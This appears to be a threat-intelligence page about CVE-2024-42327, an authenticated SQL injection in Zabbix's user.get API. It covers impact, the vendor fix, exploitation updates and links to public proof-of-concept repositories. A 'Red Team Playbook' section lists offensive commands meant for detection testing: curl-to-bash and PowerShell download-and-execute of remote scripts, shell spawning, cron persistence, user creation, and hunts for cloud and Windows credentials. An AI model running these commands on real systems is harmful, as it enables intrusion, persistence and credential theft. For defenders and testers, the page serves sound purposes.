CVE-2024-42327
Overview
This vulnerability is a SQL injection (SQLi) flaw located in the CUser class within the addRelatedObjects function of the Zabbix frontend. The flaw arises because the addRelatedObjects function improperly sanitizes input before constructing SQL queries. This function is invoked by the CUser.get API method, which is accessible to any user with API access privileges, including non-admin users with the default User role or other roles granting API access.
Vulnerability Description
A non-admin user account on the Zabbix frontend with the default User role, or with any other role that gives API access can exploit this vulnerability. An SQLi exists in the CUser class in the addRelatedObjects function, this function is being called from the CUser.get function which is available for every user who has API access.
Impact
An attacker with a non-admin account and API access can exploit this SQL injection to execute arbitrary SQL commands within the Zabbix database context. This enables unauthorized data disclosure, modification, or deletion of sensitive monitoring data. The attack requires valid user credentials with API permissions but no elevated privileges beyond that. Given the CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H), the vulnerability allows remote exploitation with low attack complexity and no user interaction, potentially leading to full compromise of data confidentiality, integrity, and availability within Zabbix.
Solution
Zabbix has addressed this vulnerability in the update referenced by advisory ZBX-25623, available at https://support.zabbix.com/browse/ZBX-25623. Users should upgrade to the patched Zabbix frontend version that includes the fix for the addRelatedObjects function in the CUser class. The vendor recommends applying this update promptly to eliminate the SQL injection vector. No alternative workarounds are specified in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Zabbix frontend arises from a critical SQL injection flaw within the CUser class, specifically in the addRelatedObjects function. This function is invoked by the CUser.get method, which is accessible to any user with API access, including those with default or non-admin roles. The flaw allows an attacker to manipulate SQL queries by injecting malicious code through crafted API requests. Given the high CVSS score of 9.9, this vulnerability poses a significant risk, as it can lead to unauthorized data access, data manipulation, or even complete system compromise if exploited effectively.
Attack vectors for this vulnerability are particularly concerning due to the accessibility of the affected function. Any user with API access can exploit the SQL injection flaw, making it a prime target for attackers who may not require elevated privileges. An attacker could craft a request that alters the SQL query executed by the addRelatedObjects function, potentially allowing them to extract sensitive information from the database, such as user credentials, configuration settings, or proprietary data. Moreover, the exploitation could be automated, enabling attackers to launch mass attacks against multiple instances of the affected product, increasing the likelihood of successful breaches.
The real-world impact of this vulnerability is profound, especially for organizations relying on Zabbix for monitoring and management of their IT infrastructure. Successful exploitation could result in unauthorized access to critical systems, leading to data breaches, loss of sensitive information, and significant operational disruptions. The business risks associated with such incidents include financial losses, reputational damage, and potential regulatory penalties, particularly if sensitive data is exposed. Organizations may also face increased scrutiny from stakeholders and customers, which can further exacerbate the long-term effects of a successful attack.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. Regular security audits and code reviews can help identify and remediate SQL injection vulnerabilities before they can be exploited. Implementing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests that attempt to exploit the flaw. Furthermore, organizations should enforce the principle of least privilege, ensuring that users with API access have only the necessary permissions to perform their roles. This can help limit the potential impact of an attack, as even if a non-admin user account is compromised, the damage may be contained.
In conclusion, the SQL injection vulnerability in the Zabbix frontend represents a critical threat that requires immediate attention from organizations utilizing this monitoring solution. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can develop effective strategies for detection and mitigation. Proactive measures, including regular security assessments and stringent access controls, are essential to safeguard against exploitation and protect sensitive data from unauthorized access.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-42327, with a significant increase in observed activity among non-admin users leveraging API access. This surge coincides with the wider availability and refinement of multiple proof-of-concept exploits circulating on public repositories, which have gained traction within attacker communities. The amplification in exploitation attempts underscores the vulnerability’s criticality, as it enables unauthorized SQL injection through commonly accessible API functions, broadening the potential attack surface beyond privileged accounts. While the EPSS score remains high and stable, the intensified exploitation activity signals an elevated operational risk for organizations using Zabbix, particularly those with default or loosely controlled user roles. This evolving threat landscape demands heightened vigilance as adversaries capitalize on accessible attack vectors to achieve remote code execution, increasing the likelihood of impactful breaches.
Update 2 — July 22, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-42327, with our telemetry indicating a significant uptick in adversary activity leveraging the vulnerability’s API access vector. This surge coincides with the proliferation of multiple new proof-of-concept exploits on public repositories, which have garnered increased attention within attacker communities, thereby lowering the technical barrier for exploitation. The convergence of heightened detection rates and expanding exploit availability amplifies the operational risk for organizations running Zabbix instances, especially those maintaining default or permissive user roles that grant API access. While the EPSS score remains stable, the qualitative increase in exploitation attempts underscores a shift toward more aggressive and widespread targeting, elevating the threat level from critical to imminently active. Defenders should recognize that this vulnerability is no longer primarily theoretical or limited to niche threat actors but is increasingly weaponized in the wild, signaling an urgent need for enhanced monitoring and response capabilities.
Update 3 — August 14, 2026
CSURFACE threat intelligence has identified a marked escalation in exploitation attempts targeting CVE-2024-42327, accompanied by the emergence of multiple new proof-of-concept exploits gaining traction within attacker communities. Our telemetry indicates that adversaries are increasingly leveraging API access roles with minimal privileges to exploit the SQL injection vulnerability, broadening the attack surface beyond previously observed scenarios. This shift reflects a growing operationalization of the vulnerability, moving it from a high-risk theoretical concern to an actively exploited vector in the wild. The persistence of a high EPSS score combined with intensified detection activity underscores an elevated threat posture. Defenders should interpret this as a clear indication that exploitation efforts are becoming more sophisticated and widespread, increasing the likelihood of successful compromise in environments where default or permissive user roles remain unmitigated. Consequently, the threat level associated with CVE-2024-42327 has escalated from critical to imminently active, demanding heightened vigilance in monitoring API interactions and anomalous user behaviors.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Zabbix | Zabbix | All |
cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | All |
cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
|
|
|
Zabbix | Zabbix | All |
cpe:2.3:a:zabbix:zabbix:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Zabbix 7.0.0 - SQL Injection | m4nb4 | webapps | php | - | View |
GitHub PoCs (12)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
BridgerAlderson/Zabbix-CVE-2024-42327-SQL-Injection-RCE
Zabbix CVE-2024-42327 PoC
|
BridgerAlderson | 48 | 5 | 2025-01-01 | View |
|
aramosf/cve-2024-42327
cve-2024-42327 ZBX-25623
|
aramosf | 38 | 11 | 2024-12-01 | View |
|
compr00t/CVE-2024-42327
PoC for CVE-2024-42327 / ZBX-25623
|
compr00t | 18 | 5 | 2024-12-03 | View |
|
godylockz/CVE-2024-42327
POC for CVE-2024-42327: Zabbix Privilege Escalation -> RCE
|
godylockz | 9 | 2 | 2025-02-16 | View |
|
depers-rus/CVE-2024-42327
|
depers-rus | 3 | 0 | 2024-12-06 | View |
|
watchdog1337/CVE-2024-42327_Zabbix_SQLI
POC for CVE-2024-42327, an authenticated SQL Injection in Zabbix through the user.get API Method
|
watchdog1337 | 3 | 0 | 2024-12-07 | View |
|
874anthony/CVE-2024-42327_Zabbix_SQLi
This is for educational porpuses only. Please do not use agains unathorized systems.
|
874anthony | 1 | 0 | 2025-04-18 | View |
|
PoC
|
- | 0 | 0 | - | View |
|
RichJJ98/analise-vulnerabilidades-zabbix-notebooklm
Caderno Temático NotebookLM: análise de vulnerabilidades SQL Injection (CVE-2024-42327, CVE-2026-23921) no Zabbix, com e...
|
RichJJ98 | 0 | 0 | 2026-06-09 | View |
|
fellipefelix06/Zabbix-CVE-2024-42327
|
fellipefelix06 | 0 | 0 | 2026-05-16 | View |
|
itform-fr/Zabbix---CVE-2024-42327
|
itform-fr | 0 | 0 | 2024-12-11 | View |
|
igorbf495/CVE-2024-42327
writeup cve-2024-42327
|
igorbf495 | 0 | 0 | 2024-12-12 | View |
Threat Feed
16 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-42327 |
| support.zabbix.com |
GitHub CVE
|
https://support.zabbix.com/browse/ZBX-25623 |